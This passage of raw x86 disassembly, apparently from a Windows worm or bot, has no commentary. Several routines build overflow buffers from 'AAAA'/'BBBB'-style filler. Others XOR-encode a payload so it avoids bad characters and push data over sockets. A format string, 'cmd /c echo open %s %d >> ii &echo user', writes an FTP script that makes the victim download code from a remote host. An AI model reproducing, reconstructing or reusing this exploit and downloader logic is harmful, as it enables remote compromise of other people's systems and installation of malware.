arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444BA4
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444840
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444848
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BC8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44484C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BBC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BB8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E90
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444BAC
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448DC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444854
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44490C
		mov	[ebx+31h], eax
		mov	ecx, dword_444910
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E140
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E144
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A80
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447551
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447551
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44768F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444918
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp	; ntohs
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		nop
		call	near ptr 2801E3Fh


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444CA8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444D0C, ecx
		lea	ecx, [eax+1]
		mov	dword_444D2D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D25, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D3B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D1C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D20
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D21
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D25
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D29
		mov	[ecx+8], esi
		mov	esi, dword_444D2D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D31
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E148
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E148, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C90
		mov	edi, edx
		mov	byte_444C9D, bl
		mov	byte_444CA1, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C78
		mov	edi, edx
		mov	word_444C86, bx
		mov	byte_444C8B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491DF[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491D3[eax*4], ecx
